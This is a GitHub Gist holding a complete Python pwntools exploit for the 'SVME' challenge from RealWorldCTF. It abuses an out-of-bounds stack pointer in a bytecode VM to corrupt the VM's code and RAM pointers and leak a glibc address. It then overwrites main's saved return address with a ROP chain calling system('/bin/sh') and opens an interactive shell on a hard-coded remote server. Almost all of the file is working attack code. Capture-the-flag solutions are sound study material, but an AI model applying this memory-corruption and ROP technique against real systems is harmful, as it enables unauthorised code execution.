Created
January 23, 2022 13:59
-
-
Save dialluvioso/e6812afdafc6766c79fdc96a839690a0 to your computer and use it in GitHub Desktop.
Solution to SVME from RealWorldCTF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| from pwn import * | |
| POP = 0x0f | |
| PRINT = 0x0e | |
| GSTORE = 0x0d | |
| ICONST = 9 | |
| GLOAD = 0xb | |
| STORE = 0xc | |
| LOAD = 0xa | |
| HALT = 18 | |
| IADD = 1 | |
| ISUB = 2 | |
| #context.log_level = "debug" | |
| #io = remote("localhost", 1337) #remote("47.243.140.252", 1337) | |
| io = remote("47.243.140.252", 1337) | |
| sleep(0.5) | |
| #io = process("./svme") | |
| # force stdout buffer to be filled out, such that we can use the leaks | |
| program = [ p32(PRINT) ] * 128 | |
| cnt = 0 | |
| def add_ins(ins): | |
| global cnt | |
| program[cnt] = p32(ins) | |
| cnt = cnt + 1 | |
| def add_gstore(idx): | |
| global cnt | |
| program[cnt] = p32(GSTORE) | |
| program[cnt+1] = p32(idx & 0xFFFFFFFF) | |
| cnt += 2 | |
| def add_store(idx): | |
| global cnt | |
| program[cnt] = p32(STORE) | |
| program[cnt+1] = p32(idx) | |
| cnt += 2 | |
| def add_gload(idx): | |
| global cnt | |
| program[cnt] = p32(GLOAD) | |
| program[cnt+1] = p32(idx & 0xFFFFFFFF) | |
| cnt += 2 | |
| def add_load(idx): | |
| global cnt | |
| program[cnt] = p32(LOAD) | |
| program[cnt+1] = p32(idx) | |
| cnt += 2 | |
| def add_const(imm): | |
| global cnt | |
| program[cnt] = p32(ICONST) | |
| program[cnt+1] = p32(imm) | |
| cnt += 2 | |
| # struct vm | |
| # { | |
| # int *code; | |
| # int ninst; | |
| # int *ram; | |
| # int ram_length; | |
| # int stack[1000]; | |
| # int locals[100][11]; | |
| # }; | |
| # | |
| # strategy: | |
| # overwrite ram ptr such that points to vm "code" (stack) | |
| # therefore we have an arbitrary read/write in the stack | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| # at this point next stackptr-- will point oob to vm->code (stack ptr) | |
| add_store(1) # save high dword in ram | |
| add_store(0) # save low dword in ram | |
| # smash vm->code again from ram, thus increment stackptr | |
| add_load(0) | |
| add_load(1) | |
| # overwrite vm->insn | |
| add_const(128) | |
| add_const(0) | |
| # overwrite vm->ram | |
| add_load(0) | |
| add_load(1) | |
| # print glibc from main's stack frame | |
| # 0x218 / 4 == 134 | |
| add_gload(134) | |
| add_ins(PRINT) | |
| add_gload(135) | |
| add_ins(PRINT) | |
| # overwrite main saved return address of current frame | |
| # diff 0xc1d | |
| # first load the low dword of the address and substract the offset | |
| add_gload(-10) | |
| add_const(0xc1d) | |
| add_ins(ISUB) | |
| # now smash low dword with the result | |
| add_gstore(-10) | |
| add_const(0) | |
| add_const(0) | |
| #add_ins(HALT) | |
| p = b"".join(program) | |
| assert(len(p) == 512) | |
| io.send(p) | |
| io.recvuntil("0021: gload 134 stack=[ ]\n") | |
| lodword = int(io.recvline().split()[2]) & 0xFFFFFFFF | |
| print(f"{lodword:#x}") | |
| sleep(0.5) | |
| io.recvline() | |
| io.recvline() | |
| line = int(io.recvline().split()[2]) | |
| sleep(0.5) | |
| hidword = int(line) | |
| print(f"{hidword:#x}") | |
| dword = hidword << 32 | lodword | |
| print(f"libc_main at {dword:#x}") | |
| libc_main_off = 0x000000000026fc0+0xf3 | |
| #libc_main_off = 0x21bf7 # local | |
| glibc = dword - libc_main_off | |
| print(f"glibc mapped at {glibc:#x}") | |
| # gadgets | |
| pop_rdi = 0x0000000000026b72 | |
| #pop_rdi = 0x215bf # local | |
| binsh = 0x1b75aa | |
| #binsh = 0x1b3e1a # local | |
| system = 0x000000000055410 | |
| #system = 0x4f550 # local | |
| ret = pop_rdi+1 | |
| pop_rdi += glibc | |
| binsh += glibc | |
| system += glibc | |
| ret += glibc | |
| cnt = 0 | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| add_ins(PRINT) | |
| # at this point next stackptr-- will point oob to vm->code (stack ptr) | |
| add_store(1) # save high dword in ram | |
| add_store(0) # save low dword in ram | |
| # smash vm->code again from ram, thus increment stackptr | |
| add_load(0) | |
| add_load(1) | |
| # overwrite vm->insn | |
| add_const(128) | |
| add_const(0) | |
| add_load(0) | |
| add_load(1) | |
| add_const(pop_rdi & 0xFFFFFFFF) | |
| add_gstore(-10) | |
| add_const(pop_rdi >> 32) | |
| add_gstore(-9) | |
| add_const(binsh & 0xFFFFFFFF) | |
| add_gstore(-8) | |
| add_const(binsh >> 32) | |
| add_gstore(-7) | |
| add_const(ret & 0xFFFFFFFF) | |
| add_gstore(-6) | |
| add_const(ret >> 32) | |
| add_gstore(-5) | |
| add_const(system & 0xFFFFFFFF) | |
| add_gstore(-4) | |
| add_const(system >> 32) | |
| add_gstore(-3) | |
| add_const(0) | |
| add_const(0) | |
| add_ins(HALT) | |
| io.send(b"".join(program)) | |
| io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment